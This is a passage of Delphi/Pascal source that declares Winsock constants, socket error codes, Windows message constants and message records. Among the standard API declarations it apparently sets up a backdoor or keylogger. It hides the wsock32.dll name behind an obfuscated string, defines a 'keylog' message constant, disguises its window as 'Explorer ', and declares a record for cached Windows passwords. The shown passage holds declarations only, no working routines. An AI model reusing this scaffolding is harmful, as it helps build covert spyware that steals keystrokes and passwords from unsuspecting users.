  SO_DONTROUTE    = $0010;          { just use interface addresses }
  SO_BROADCAST    = $0020;          { permit sending of broadcast msgs }
  SO_USELOOPBACK  = $0040;          { bypass hardware when possible }
  SO_LINGER       = $0080;          { linger on close if data present }
  SO_OOBINLINE    = $0100;          { leave received OOB data in line }

  SO_DONTLINGER  =   $ff7f;

  SO_SNDBUF       = $1001;          { send buffer size }
  SO_RCVBUF       = $1002;          { receive buffer size }
  SO_SNDLOWAT     = $1003;          { send low-water mark }
  SO_RCVLOWAT     = $1004;          { receive low-water mark }
  SO_SNDTIMEO     = $1005;          { send timeout }
  SO_RCVTIMEO     = $1006;          { receive timeout }
  SO_ERROR        = $1007;          { get error status and clear }
  SO_TYPE         = $1008;          { get socket type }

//  SO_CONNDATA     = $7000;
//  SO_CONNOPT      = $7001;
//  SO_DISCDATA     = $7002;
//  SO_DISCOPT      = $7003;
//  SO_CONNDATALEN  = $7004;
//  SO_CONNOPTLEN   = $7005;
//  SO_DISCDATALEN  = $7006;
//  SO_DISCOPTLEN   = $7007;

//  SO_OPENTYPE     = $7008;

//  SO_SYNCHRONOUS_ALERT    = $10;
//  SO_SYNCHRONOUS_NONALERT = $20;

//  SO_MAXDG        = $7009;
//  SO_MAXPATHDG    = $700A;
//  SO_UPDATE_ACCEPT_CONTEXT     = $700B;
//  SO_CONNECT_TIME = $700C;

  TCP_NODELAY     = $0001;
  TCP_BSDURGENT   = $7000;

//  AF_UNSPEC       = 0;               { unspecified }
  AF_UNIX         = 1;               { local to host (pipes, portals) }
  AF_INET         = 2;               { internetwork: UDP, TCP, etc. }
//  AF_IMPLINK      = 3;               { arpanet imp addresses }
//  AF_PUP          = 4;               { pup protocols: e.g. BSP }
//  AF_CHAOS        = 5;               { mit CHAOS protocols }
//  AF_IPX          = 6;               { IPX and SPX }
//  AF_NS           = 6;               { XEROX NS protocols }
//  AF_ISO          = 7;               { ISO protocols }
//  AF_OSI          = AF_ISO;          { OSI is ISO }
//  AF_ECMA         = 8;               { european computer manufacturers }
//  AF_DATAKIT      = 9;               { datakit protocols }
//  AF_CCITT        = 10;              { CCITT protocols, X.25 etc }
//  AF_SNA          = 11;              { IBM SNA }
//  AF_DECnet       = 12;              { DECnet }
//  AF_DLI          = 13;              { Direct data link interface }
//  AF_LAT          = 14;              { LAT }
//  AF_HYLINK       = 15;              { NSC Hyperchannel }
//  AF_APPLETALK    = 16;              { AppleTalk }
//  AF_NETBIOS      = 17;              { NetBios-style addresses }
//  AF_VOICEVIEW    = 18;              { VoiceView }
//  AF_FIREFOX      = 19;              { FireFox }
//  AF_UNKNOWN1     = 20;              { Somebody is using this! }
//  AF_BAN          = 21;              { Banyan }

//  AF_MAX          = 22;

//  PF_UNSPEC       = AF_UNSPEC;
  PF_UNIX         = AF_UNIX;
  PF_INET         = AF_INET;
//  PF_IMPLINK      = AF_IMPLINK;
//  PF_PUP          = AF_PUP;
//  PF_CHAOS        = AF_CHAOS;
//  PF_NS           = AF_NS;
//  PF_IPX          = AF_IPX;
//  PF_ISO          = AF_ISO;
//  PF_OSI          = AF_OSI;
//  PF_ECMA         = AF_ECMA;
//  PF_DATAKIT      = AF_DATAKIT;
//  PF_CCITT        = AF_CCITT;
//  PF_SNA          = AF_SNA;
//  PF_DECnet       = AF_DECnet;
//  PF_DLI          = AF_DLI;
//  PF_LAT          = AF_LAT;
//  PF_HYLINK       = AF_HYLINK;
//  PF_APPLETALK    = AF_APPLETALK;
//  PF_VOICEVIEW    = AF_VOICEVIEW;
//  PF_FIREFOX      = AF_FIREFOX;
//  PF_UNKNOWN1     = AF_UNKNOWN1;
//  PF_BAN          = AF_BAN;

//  PF_MAX          = AF_MAX;

  SOL_SOCKET      = $ffff;          {options for socket level }

  SOMAXCONN       = 5;{ Maximum queue length specifiable by listen. }

  MSG_OOB         = $1;             {process out-of-band data }
  MSG_PEEK        = $2;             {peek at incoming message }
  MSG_DONTROUTE   = $4;             {send without using routing tables }

  MSG_MAXIOVLEN   = 16;

  MSG_PARTIAL     = $8000;          {partial send or recv for message xport }

  MAXGETHOSTSTRUCT        = 1024;

  FD_READ         = $01;
  FD_WRITE        = $02;
  FD_OOB          = $04;
  FD_ACCEPT       = $08;
  FD_CONNECT      = $10;
  FD_CLOSE        = $20;

  WSABASEERR              = 10000;

  WSAEINTR                = (WSABASEERR+4);
  WSAEBADF                = (WSABASEERR+9);
  WSAEACCES               = (WSABASEERR+13);
  WSAEFAULT               = (WSABASEERR+14);
  WSAEINVAL               = (WSABASEERR+22);
  WSAEMFILE               = (WSABASEERR+24);

  WSAEWOULDBLOCK          = (WSABASEERR+35);
  WSAEINPROGRESS          = (WSABASEERR+36);
  WSAEALREADY             = (WSABASEERR+37);
  WSAENOTSOCK             = (WSABASEERR+38);
  WSAEDESTADDRREQ         = (WSABASEERR+39);
  WSAEMSGSIZE             = (WSABASEERR+40);
  WSAEPROTOTYPE           = (WSABASEERR+41);
  WSAENOPROTOOPT          = (WSABASEERR+42);
  WSAEPROTONOSUPPORT      = (WSABASEERR+43);
  WSAESOCKTNOSUPPORT      = (WSABASEERR+44);
  WSAEOPNOTSUPP           = (WSABASEERR+45);
  WSAEPFNOSUPPORT         = (WSABASEERR+46);
  WSAEAFNOSUPPORT         = (WSABASEERR+47);
  WSAEADDRINUSE           = (WSABASEERR+48);
  WSAEADDRNOTAVAIL        = (WSABASEERR+49);
  WSAENETDOWN             = (WSABASEERR+50);
  WSAENETUNREACH          = (WSABASEERR+51);
  WSAENETRESET            = (WSABASEERR+52);
  WSAECONNABORTED         = (WSABASEERR+53);
  WSAECONNRESET           = (WSABASEERR+54);
  WSAENOBUFS              = (WSABASEERR+55);
  WSAEISCONN              = (WSABASEERR+56);
  WSAENOTCONN             = (WSABASEERR+57);
  WSAESHUTDOWN            = (WSABASEERR+58);
  WSAETOOMANYREFS         = (WSABASEERR+59);
  WSAETIMEDOUT            = (WSABASEERR+60);
  WSAECONNREFUSED         = (WSABASEERR+61);
  WSAELOOP                = (WSABASEERR+62);
  WSAENAMETOOLONG         = (WSABASEERR+63);
  WSAEHOSTDOWN            = (WSABASEERR+64);
  WSAEHOSTUNREACH         = (WSABASEERR+65);
  WSAENOTEMPTY            = (WSABASEERR+66);
  WSAEPROCLIM             = (WSABASEERR+67);
  WSAEUSERS               = (WSABASEERR+68);
  WSAEDQUOT               = (WSABASEERR+69);
  WSAESTALE               = (WSABASEERR+70);
  WSAEREMOTE              = (WSABASEERR+71);

  WSAEDISCON              = (WSABASEERR+101);

  WSASYSNOTREADY          = (WSABASEERR+91);
  WSAVERNOTSUPPORTED      = (WSABASEERR+92);
  WSANOTINITIALISED       = (WSABASEERR+93);

  WSAHOST_NOT_FOUND       = (WSABASEERR+1001);
  HOST_NOT_FOUND          = WSAHOST_NOT_FOUND;

  WSATRY_AGAIN            = (WSABASEERR+1002);
  TRY_AGAIN               = WSATRY_AGAIN;

  WSANO_RECOVERY          = (WSABASEERR+1003);
  NO_RECOVERY             = WSANO_RECOVERY;

  WSANO_DATA              = (WSABASEERR+1004);
  NO_DATA                 = WSANO_DATA;

  WSANO_ADDRESS           = WSANO_DATA;
  NO_ADDRESS              = WSANO_ADDRESS;

  EWOULDBLOCK        =  WSAEWOULDBLOCK;
  EINPROGRESS        =  WSAEINPROGRESS;
  EALREADY           =  WSAEALREADY;
  ENOTSOCK           =  WSAENOTSOCK;
  EDESTADDRREQ       =  WSAEDESTADDRREQ;
  EMSGSIZE           =  WSAEMSGSIZE;
  EPROTOTYPE         =  WSAEPROTOTYPE;
  ENOPROTOOPT        =  WSAENOPROTOOPT;
  EPROTONOSUPPORT    =  WSAEPROTONOSUPPORT;
  ESOCKTNOSUPPORT    =  WSAESOCKTNOSUPPORT;
  EOPNOTSUPP         =  WSAEOPNOTSUPP;
  EPFNOSUPPORT       =  WSAEPFNOSUPPORT;
  EAFNOSUPPORT       =  WSAEAFNOSUPPORT;
  EADDRINUSE         =  WSAEADDRINUSE;
  EADDRNOTAVAIL      =  WSAEADDRNOTAVAIL;
  ENETDOWN           =  WSAENETDOWN;
  ENETUNREACH        =  WSAENETUNREACH;
  ENETRESET          =  WSAENETRESET;
  ECONNABORTED       =  WSAECONNABORTED;
  ECONNRESET         =  WSAECONNRESET;
  ENOBUFS            =  WSAENOBUFS;
  EISCONN            =  WSAEISCONN;
  ENOTCONN           =  WSAENOTCONN;
  ESHUTDOWN          =  WSAESHUTDOWN;
  ETOOMANYREFS       =  WSAETOOMANYREFS;
  ETIMEDOUT          =  WSAETIMEDOUT;
  ECONNREFUSED       =  WSAECONNREFUSED;
  ELOOP              =  WSAELOOP;
  ENAMETOOLONG       =  WSAENAMETOOLONG;
  EHOSTDOWN          =  WSAEHOSTDOWN;
  EHOSTUNREACH       =  WSAEHOSTUNREACH;
  ENOTEMPTY          =  WSAENOTEMPTY;
  EPROCLIM           =  WSAEPROCLIM;
  EUSERS             =  WSAEUSERS;
  EDQUOT             =  WSAEDQUOT;
  ESTALE             =  WSAESTALE;
  EREMOTE            =  WSAEREMOTE; 

  winsocket = 'vqlgn55&mfg'; //wsock32.dll

{messages windows const}
  WM_NULL             = $0000;
  WM_CREATE           = $0001;
  WM_DESTROY          = $0002;
  WM_MOVE             = $0003;
  WM_SIZE             = $0005;
  WM_ACTIVATE         = $0006;
  WM_SETFOCUS         = $0007;
  WM_KILLFOCUS        = $0008;
  WM_ENABLE           = $000A;
  WM_SETREDRAW        = $000B;
  WM_SETTEXT          = $000C;
  WM_GETTEXT          = $000D;
  WM_GETTEXTLENGTH    = $000E;
  WM_PAINT            = $000F;
  WM_CLOSE            = $0010;
  WM_QUERYENDSESSION  = $0011;
  WM_QUIT             = $0012;
  WM_QUERYOPEN        = $0013;
  WM_ERASEBKGND       = $0014;
  WM_SYSCOLORCHANGE   = $0015;
  WM_ENDSESSION       = $0016;
  WM_SYSTEMERROR      = $0017;
  WM_SHOWWINDOW       = $0018;
  WM_CTLCOLOR         = $0019;
  WM_WININICHANGE     = $001A;
  WM_SETTINGCHANGE = WM_WININICHANGE;
  WM_DEVMODECHANGE    = $001B;
  WM_ACTIVATEAPP      = $001C;
  WM_FONTCHANGE       = $001D;
  WM_TIMECHANGE       = $001E;
  WM_CANCELMODE       = $001F;
  WM_SETCURSOR        = $0020;
  WM_MOUSEACTIVATE    = $0021;
  WM_CHILDACTIVATE    = $0022;
  WM_QUEUESYNC        = $0023;
  WM_GETMINMAXINFO    = $0024;
  WM_PAINTICON        = $0026;
  WM_ICONERASEBKGND   = $0027;
  WM_NEXTDLGCTL       = $0028;
  WM_SPOOLERSTATUS    = $002A;
  WM_DRAWITEM         = $002B;
  WM_MEASUREITEM      = $002C;
  WM_DELETEITEM       = $002D;
  WM_VKEYTOITEM       = $002E;
  WM_CHARTOITEM       = $002F;
  WM_SETFONT          = $0030;
  WM_GETFONT          = $0031;
  WM_QUERYDRAGICON    = $0037;
  WM_COMPAREITEM      = $0039;
  WM_COMPACTING       = $0041;

  WM_COMMNOTIFY       = $0044;    { obsolete in Win32}

  WM_WINDOWPOSCHANGING = $0046;
  WM_WINDOWPOSCHANGED = $0047;
  WM_POWER            = $0048;

  WM_COPYDATA         = $004A;
  WM_CANCELJOURNAL    = $004B;
  WM_NOTIFY           = $004E;
  WM_INPUTLANGCHANGEREQUEST = $0050;
  WM_INPUTLANGCHANGE  = $0051;
  WM_TCARD            = $0052;
  WM_HELP             = $0053;
  WM_USERCHANGED      = $0054;
  WM_NOTIFYFORMAT     = $0055;

  WM_CONTEXTMENU      = $007B;
  WM_STYLECHANGING    = $007C;
  WM_STYLECHANGED     = $007D;
  WM_DISPLAYCHANGE    = $007E;
  WM_GETICON          = $007F;
  WM_SETICON          = $0080;

  WM_NCCREATE         = $0081;
  WM_NCDESTROY        = $0082;
  WM_NCCALCSIZE       = $0083;
  WM_NCHITTEST        = $0084;
  WM_NCPAINT          = $0085;
  WM_NCACTIVATE       = $0086;
  WM_GETDLGCODE       = $0087;
  WM_NCMOUSEMOVE      = $00A0;
{  WM_NCLBUTTONDOWN    = $00A1;
  WM_NCLBUTTONUP      = $00A2;
  WM_NCLBUTTONDBLCLK  = $00A3;
  WM_NCRBUTTONDOWN    = $00A4;
  WM_NCRBUTTONUP      = $00A5;
  WM_NCRBUTTONDBLCLK  = $00A6;
  WM_NCMBUTTONDOWN    = $00A7;
  WM_NCMBUTTONUP      = $00A8;
  WM_NCMBUTTONDBLCLK  = $00A9; }

  WM_KEYFIRST         = $0100;
  WM_KEYDOWN          = $0100;
  WM_KEYUP            = $0101;
  WM_CHAR             = $0102;
  WM_DEADCHAR         = $0103;
  WM_SYSKEYDOWN       = $0104;
  WM_SYSKEYUP         = $0105;
  WM_SYSCHAR          = $0106;
  WM_SYSDEADCHAR      = $0107;
  WM_KEYLAST          = $0108;

  WM_INITDIALOG       = $0110;
  WM_COMMAND          = $0111;
  WM_SYSCOMMAND       = $0112;
  WM_TIMER            = $0113;
  WM_HSCROLL          = $0114;
  WM_VSCROLL          = $0115;
  WM_INITMENU         = $0116;
  WM_INITMENUPOPUP    = $0117;
  WM_MENUSELECT       = $011F;
  WM_MENUCHAR         = $0120;
  WM_ENTERIDLE        = $0121;

  WM_CTLCOLORMSGBOX   = $0132;
  WM_CTLCOLOREDIT     = $0133;
  WM_CTLCOLORLISTBOX  = $0134;
  WM_CTLCOLORBTN      = $0135;
  WM_CTLCOLORDLG      = $0136;
  WM_CTLCOLORSCROLLBAR= $0137;
  WM_CTLCOLORSTATIC   = $0138;

  WM_MOUSEFIRST       = $0200;
  WM_MOUSEMOVE        = $0200;
  WM_LBUTTONDOWN      = $0201;
  WM_LBUTTONUP        = $0202;
  WM_LBUTTONDBLCLK    = $0203;
  WM_RBUTTONDOWN      = $0204;
  WM_RBUTTONUP        = $0205;
  WM_RBUTTONDBLCLK    = $0206;
  WM_MBUTTONDOWN      = $0207;
  WM_MBUTTONUP        = $0208;
  WM_MBUTTONDBLCLK    = $0209;
  WM_MOUSEWHEEL       = $020A;
  WM_MOUSELAST        = $020A;

  WM_PARENTNOTIFY     = $0210;
  WM_ENTERMENULOOP    = $0211;
  WM_EXITMENULOOP     = $0212;
  WM_NEXTMENU         = $0213;

  WM_SIZING           = 532;
  WM_CAPTURECHANGED   = 533;
  WM_MOVING           = 534;
  WM_POWERBROADCAST   = 536;
  WM_DEVICECHANGE     = 537;

{  WM_IME_STARTCOMPOSITION        = $010D;
  WM_IME_ENDCOMPOSITION          = $010E;
  WM_IME_COMPOSITION             = $010F;
  WM_IME_KEYLAST                 = $010F;

  WM_IME_SETCONTEXT              = $0281;
  WM_IME_NOTIFY                  = $0282;
  WM_IME_CONTROL                 = $0283;
  WM_IME_COMPOSITIONFULL         = $0284;
  WM_IME_SELECT                  = $0285;
  WM_IME_CHAR                    = $0286;

  WM_IME_KEYDOWN                 = $0290;
  WM_IME_KEYUP                   = $0291;

  WM_MDICREATE        = $0220;
  WM_MDIDESTROY       = $0221;
  WM_MDIACTIVATE      = $0222;
  WM_MDIRESTORE       = $0223;
  WM_MDINEXT          = $0224;
  WM_MDIMAXIMIZE      = $0225;
  WM_MDITILE          = $0226;
  WM_MDICASCADE       = $0227;
  WM_MDIICONARRANGE   = $0228;
  WM_MDIGETACTIVE     = $0229;
  WM_MDISETMENU       = $0230;

  WM_ENTERSIZEMOVE    = $0231;
  WM_EXITSIZEMOVE     = $0232;
  WM_DROPFILES        = $0233;
  WM_MDIREFRESHMENU   = $0234; }

  WM_MOUSEHOVER       = $02A1;
  WM_MOUSELEAVE       = $02A3;

  WM_CUT              = $0300;
  WM_COPY             = $0301;
  WM_PASTE            = $0302;
  WM_CLEAR            = $0303;
  WM_UNDO             = $0304;
  WM_PAINTCLIPBOARD   = $0309;

  WM_PRINT            = 791;
  WM_PRINTCLIENT      = 792;

  WM_HANDHELDFIRST    = 856;
  WM_HANDHELDLAST     = 863;

  WM_PENWINFIRST      = $0380;
  WM_PENWINLAST       = $038F;

  WM_COALESCE_FIRST   = $0390;
  WM_COALESCE_LAST    = $039F;

  WM_DDE_FIRST        = $03E0;
  WM_DDE_INITIATE     = WM_DDE_FIRST + 0;
  WM_DDE_TERMINATE    = WM_DDE_FIRST + 1;
  WM_DDE_ADVISE       = WM_DDE_FIRST + 2;
  WM_DDE_UNADVISE     = WM_DDE_FIRST + 3;
  WM_DDE_ACK          = WM_DDE_FIRST + 4;
  WM_DDE_DATA         = WM_DDE_FIRST + 5;
  WM_DDE_REQUEST      = WM_DDE_FIRST + 6;
  WM_DDE_POKE         = WM_DDE_FIRST + 7;
  WM_DDE_EXECUTE      = WM_DDE_FIRST + 8;
  WM_DDE_LAST         = WM_DDE_FIRST + 8;

  WM_APP = $8000;

  WM_USER             = $0400;
  UM_KEYHIT = WM_USER + 7; //keylog const

  ERROR = '|ERROR:';
  ALLDONE = 'All done.';

  //VER_PLATFORM_WIN32s = 0;
  //V/ER_PLATFORM_WIN32_WINDOWS = 1;
  //VER_PLATFORM_WIN32_NT = 2;

  Count : integer = 0;

  lpzClassName         = 'Explorer ';
  lpzWindowsName       = 'Explorer ';
  WM_MY_SOCK_MESSAGE   = WM_USER+2;
  LFCR                 = #10#13;

{ File open modes }
  fmOpenRead       = $0000;
  fmOpenWrite      = $0001;
  fmOpenReadWrite  = $0002;
  fmShareCompat    = $0000;
  fmShareExclusive = $0010;
  fmShareDenyWrite = $0020;
  fmShareDenyRead  = $0030;
  fmShareDenyNone  = $0040;

{ File attribute constants }
  faReadOnly  = $00000001;
  faHidden    = $00000002;
  faSysFile   = $00000004;
  faVolumeID  = $00000008;
  faDirectory = $00000010;
  faArchive   = $00000020;
  faAnyFile   = $0000003F;

{prog type}
type
 PWinPassword = ^TWinPassword;
 TWinPassword = record
   EntrySize: Word;
   ResourceSize: Word;
   PasswordSize: Word;
   EntryIndex: Byte;
   EntryType: Byte;
   PasswordC: Char;
  end;

{winsock type}
type
  u_char = Char;
  u_short = Word;
  u_int = Integer;
  u_long = Longint;

  TSocket = u_int;

type
  PFDSet = ^TFDSet;
  TFDSet = packed record
    fd_count: u_int;
    fd_array: array[0..FD_SETSIZE-1] of TSocket;
  end;

  PTimeVal = ^TTimeVal;
  TTimeVal = packed record
    tv_sec: Longint;
    tv_usec: Longint;
  end;

type
  PHostEnt = ^THostEnt;
  THostEnt = packed record
    h_name: PChar;
    h_aliases: ^PChar;
    h_addrtype: Smallint;
    h_length: Smallint;
    case Byte of
      0: (h_addr_list: ^PChar);
      1: (h_addr: ^PChar)
  end;

  PNetEnt = ^TNetEnt;
  TNetEnt = packed record
    n_name: PChar;
    n_aliases: ^PChar;
    n_addrtype: Smallint;
    n_net: u_long;
  end;

  PServEnt = ^TServEnt;
  TServEnt = packed record
    s_name: PChar;
    s_aliases: ^PChar;
    s_port: Smallint;
    s_proto: PChar;
  end;

  PProtoEnt = ^TProtoEnt;
  TProtoEnt = packed record
    p_name: PChar;
    p_aliases: ^Pchar;
    p_proto: Smallint;
  end;

type
  SunB = packed record
    s_b1, s_b2, s_b3, s_b4: u_char;
  end;

  SunW = packed record
    s_w1, s_w2: u_short;
  end;

  PInAddr = ^TInAddr;
  TInAddr = packed record
    case integer of
      0: (S_un_b: SunB);
      1: (S_un_w: SunW);
      2: (S_addr: u_long);
  end;

  PSockAddrIn = ^TSockAddrIn;
  TSockAddrIn = packed record
    case Integer of
      0: (sin_family: u_short;
          sin_port: u_short;
          sin_addr: TInAddr;
          sin_zero: array[0..7] of Char);
      1: (sa_family: u_short;
          sa_data: array[0..13] of Char)
  end;

type
  PWSAData = ^TWSAData;
  TWSAData = packed record
    wVersion: Word;
    wHighVersion: Word;
    szDescription: array[0..WSADESCRIPTION_LEN] of Char;
    szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
    iMaxSockets: Word;
    iMaxUdpDg: Word;
    lpVendorInfo: PChar;
  end;

  PTransmitFileBuffers = ^TTransmitFileBuffers;
  TTransmitFileBuffers = packed record
      Head: Pointer;
      HeadLength: DWORD;
      Tail: Pointer;
      TailLength: DWORD;
  end;

type
  { Structure used by kernel to store most addresses. }
  PSockAddr = ^TSockAddr;
  TSockAddr = TSockAddrIn;

  { Structure used by kernel to pass protocol information in raw sockets. }
  PSockProto = ^TSockProto;
  TSockProto = packed record
    sp_family: u_short;
    sp_protocol: u_short;
  end;

type
{ Structure used for manipulating linger option. }
  PLinger = ^TLinger;
  TLinger = packed record
    l_onoff: u_short;
    l_linger: u_short;
  end;

const
  INVALID_SOCKET		= TSocket(NOT(0));
  SOCKET_ERROR			= -1;

{type window message record}
type
  PMessage = ^TMessage;
  TMessage = record
    Msg: Cardinal;
    case Integer of
      0: (
        WParam: Longint;
        LParam: Longint;
        Result: Longint);
      1: (
        WParamLo: Word;
        WParamHi: Word;
        LParamLo: Word;
        LParamHi: Word;
        ResultLo: Word;
        ResultHi: Word);
  end;

{ Common message format records }
  TWMNoParams = record
    Msg: Cardinal;
    Unused: array[0..3] of Word;
    Result: Longint;
  end;

  TWMKey = record
    Msg: Cardinal;
    CharCode: Word;
    Unused: Word;
    KeyData: Longint;
    Result: Longint;
  end;

  TWMMouse = record
    Msg: Cardinal;
    Keys: Longint;
    case Integer of
      0: (
        XPos: Smallint;
        YPos: Smallint);
      1: (
        Pos: TSmallPoint;
        Result: Longint);
  end;

  TWMWindowPosMsg = record
    Msg: Cardinal;
    Unused: Integer;
    WindowPos: PWindowPos;
    Result: Longint;
  end;

  TWMScroll = record
    Msg: Cardinal;
    ScrollCode: Smallint; { SB_xxxx }
    Pos: Smallint;
    ScrollBar: HWND;
    Result: Longint;
  end;

{ Message records }
  TWMActivate = record
    Msg: Cardinal;
    Active: Word; { WA_INACTIVE, WA_ACTIVE, WA_CLICKACTIVE }
    Minimized: WordBool;
    ActiveWindow: HWND;
    Result: Longint;
  end;

  TWMActivateApp = record
    Msg: Cardinal;
    Active: BOOL;
    ThreadId: Longint;
    Result: Longint;
  end;

  TWMAskCBFormatName = record
    Msg: Cardinal;
    NameLen: Word;
    Unused: Word;
    FormatName: PChar;
    Result: Longint;
  end;

  TWMCancelMode = TWMNoParams;

  TWMChangeCBChain = record
    Msg: Cardinal;
    Remove: HWND;
    Next: HWND;
    Result: Longint;
  end;

  TWMChar = TWMKey;

  TWMCharToItem = record
    Msg: Cardinal;
    Key: Word;
    CaretPos: Word;
    ListBox: HWND;
    Result: Longint;
  end;

  TWMChildActivate = TWMNoParams;

  TWMChooseFont_GetLogFont = record
    Msg: Cardinal;
    Unused: Longint;
    LogFont: PLogFont;
    Result: Longint;
  end;

  TWMClear = TWMNoParams;
  TWMClose = TWMNoParams;

  TWMCommand = record
    Msg: Cardinal;
    ItemID: Word;
    NotifyCode: Word;
    Ctl: HWND;
    Result: Longint;
  end;

  TWMCompacting = record
    Msg: Cardinal;
    CompactRatio: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMCompareItem = record
    Msg: Cardinal;
    Ctl: HWnd;
    CompareItemStruct: PCompareItemStruct;
    Result: Longint;
  end;

  TWMCopy = TWMNoParams;

  TWMCopyData = record
    Msg: Cardinal;
    From: HWND;
    CopyDataStruct: PCopyDataStruct;
    Result: Longint;
  end;

  { ?? WM_CLP_LAUNCH, WM_CPL_LAUNCHED }
  TWMCreate = record
    Msg: Cardinal;
    Unused: Integer;
    CreateStruct: PCreateStruct;
    Result: Longint;
  end;

  TWMCtlColor = record
    Msg: Cardinal;
    ChildDC: HDC;
    ChildWnd: HWND;
    Result: Longint;
  end;

  TWMCtlColorBtn = TWMCtlColor;
  TWMCtlColorDlg = TWMCtlColor;
  TWMCtlColorEdit = TWMCtlColor;
  TWMCtlColorListbox = TWMCtlColor;
  TWMCtlColorMsgbox = TWMCtlColor;
  TWMCtlColorScrollbar = TWMCtlColor;
  TWMCtlColorStatic = TWMCtlColor;

  TWMCut = TWMNoParams;

  TWMDDE_Ack = record
    Msg: Cardinal;
    PostingApp: HWND;
    case Word of
      WM_DDE_INITIATE: (
        App: Word;
        Topic: Word;
        Result: Longint);
      WM_DDE_EXECUTE {and all others}: (
        PackedVal: Longint);
  end;

  TWMDDE_Advise = record
    Msg: Cardinal;
    PostingApp: HWND;
    PackedVal: Longint;
    Result: Longint;
  end;

  TWMDDE_Data = record
    Msg: Cardinal;
    PostingApp: HWND;
    PackedVal: Longint;
    Result: Longint;
  end;

  TWMDDE_Execute = record
    Msg: Cardinal;
    PostingApp: HWND;
    Commands: THandle;
    Result: Longint;
  end;

  TWMDDE_Initiate = record
    Msg: Cardinal;
    PostingApp: HWND;
    App: Word;
    Topic: Word;
    Result: Longint;
  end;

  TWMDDE_Poke = record
    Msg: Cardinal;
    PostingApp: HWND;
    PackedVal: Longint;
    Result: Longint;
  end;

  TWMDDE_Request = record
    Msg: Cardinal;
    PostingApp: HWND;
    Format: Word;
    Item: Word;
    Result: Longint;
  end;

  TWMDDE_Terminate = record
    Msg: Cardinal;
    PostingApp: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMDDE_Unadvise = record
    Msg: Cardinal;
    PostingApp: HWND;
    Format: Word;
    Item: Word;
    Result: Longint;
  end;

  TWMDeadChar = TWMChar;

  TWMDeleteItem = record
    Msg: Cardinal;
    Ctl: HWND;
    DeleteItemStruct: PDeleteItemStruct;
    Result: Longint;
  end;

  TWMDestroy = TWMNoParams;
  TWMDestroyClipboard = TWMNoParams;

  TWMDevModeChange = record
    Msg: Cardinal;
    Unused: Integer;
    Device: PChar;
    Result: Longint;
  end;

  TWMDrawClipboard = TWMNoParams;

{  TWMDropFiles = record
    Msg: Cardinal;
    Drop: THANDLE;
    Unused: Longint;
    Result: Longint;
  end; }

  TWMEnable = record
    Msg: Cardinal;
    Enabled: LongBool;
    Unused: Longint;
    Result: Longint;
  end;

  TWMEndSession = record
    Msg: Cardinal;
    EndSession: LongBool;
    Unused: Longint;
    Result: Longint;
  end;

  TWMEnterIdle = record
    Msg: Cardinal;
    Source: Longint; { MSGF_DIALOGBOX, MSGF_MENU }
    IdleWnd: HWND;
    Result: Longint;
  end;

  TWMEnterMenuLoop = record
    Msg: Cardinal;
    IsTrackPopupMenu: LongBool;
    Unused: Longint;
    Result: Longint;
  end;

  TWMExitMenuLoop = TWMEnterMenuLoop;

  TWMEraseBkgnd = record
    Msg: Cardinal;
    DC: HDC;
    Unused: Longint;
    Result: Longint;
  end;

  TWMFontChange = TWMNoParams;
  TWMGetDlgCode = TWMNoParams;
  TWMGetFont = TWMNoParams;

  TWMGetIcon = record
    Msg: Cardinal;
    BigIcon: Longbool;
    Unused: Longint;
    Result: Longint;
  end;

  TWMGetText = record
    Msg: Cardinal;
    TextMax: Integer;
    Text: PChar;
    Result: Longint;
  end;

  TWMGetTextLength = TWMNoParams;

{  TWMHotKey = record
    Msg: Cardinal;
    HotKey: Longint;
    Unused: Longint;
    Result: Longint;
  end; }

  TWMHScroll = TWMScroll;

  TWMHScrollClipboard = record
    Msg: Cardinal;
    Viewer: HWND;
    ScrollCode: Word; {SB_BOTTOM, SB_ENDSCROLL, SB_LINEDOWN, SB_LINEUP,
                       SB_PAGEDOWN, SB_PAGEUP, SB_THUMBPOSITION,
                       SB_THUMBTRACK, SB_TOP }
    Pos: Word;
    Result: Longint;
  end;

  TWMIconEraseBkgnd = TWMEraseBkgnd;

  TWMInitDialog = record
    Msg: Cardinal;
    Focus: HWND;
    InitParam: Longint;
    Result: Longint;
  end;

  TWMInitMenu = record
    Msg: Cardinal;
    Menu: HMENU;
    Unused: Longint;
    Result: Longint;
  end;

  TWMInitMenuPopup = record
    Msg: Cardinal;
    MenuPopup: HMENU;
    Pos: Smallint;
    SystemMenu: WordBool;
    Result: Longint;
  end;

  TWMKeyDown = TWMKey;
  TWMKeyUp = TWMKey;

  TWMKillFocus = record
    Msg: Cardinal;
    FocusedWnd: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMLButtonDblClk = TWMMouse;
  TWMLButtonDown   = TWMMouse;
  TWMLButtonUp     = TWMMouse;
  TWMMButtonDblClk = TWMMouse;
  TWMMButtonDown   = TWMMouse;
  TWMMButtonUp     = TWMMouse;

  TWMMDIActivate = record
    Msg: Cardinal;
    case Integer of
      0: (
        ChildWnd: HWND);
      1: (
        DeactiveWnd: HWND;
        ActiveWnd: HWND;
        Result: Longint);
  end;

  TWMMDICascade = record
    Msg: Cardinal;
    Cascade: Longint; { 0, MDITILE_SKIPDISABLED }
    Unused: Longint;
    Result: Longint;
  end;

  TWMMDICreate = record
    Msg: Cardinal;
    Unused: Integer;
    MDICreateStruct: PMDICreateStruct;
    Result: Longint;
  end;

  TWMMDIDestroy = record
    Msg: Cardinal;
    Child: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMMDIGetActive = TWMNoParams;
  TWMMDIIconArrange = TWMNoParams;

  TWMMDIMaximize = record
    Msg: Cardinal;
    Maximize: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMMDINext = record
    Msg: Cardinal;
    Child: HWND;
    Next: Longint;
    Result: Longint;
  end;

  TWMMDIRefreshMenu = TWMNoParams;

  TWMMDIRestore = record
    Msg: Cardinal;
    IDChild: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMMDISetMenu = record
    Msg: Cardinal;
    MenuFrame: HMENU;
    MenuWindow: HMENU;
    Result: Longint;
  end;

  TWMMDITile = record
    Msg: Cardinal;
    Tile: Longint; { MDITILE_HORIZONTAL, MDITILE_SKIPDISABLE,
                     MDITILE_VERTICAL }
    Unused: Longint;
    Result: Longint;
  end;

  TWMMenuChar = record
    Msg: Cardinal;
    User: Char;
    Unused: Byte;
    MenuFlag: Word; { MF_POPUP, MF_SYSMENU }
    Menu: HMENU;
    Result: Longint;
  end;

  TWMMenuSelect = record
    Msg: Cardinal;
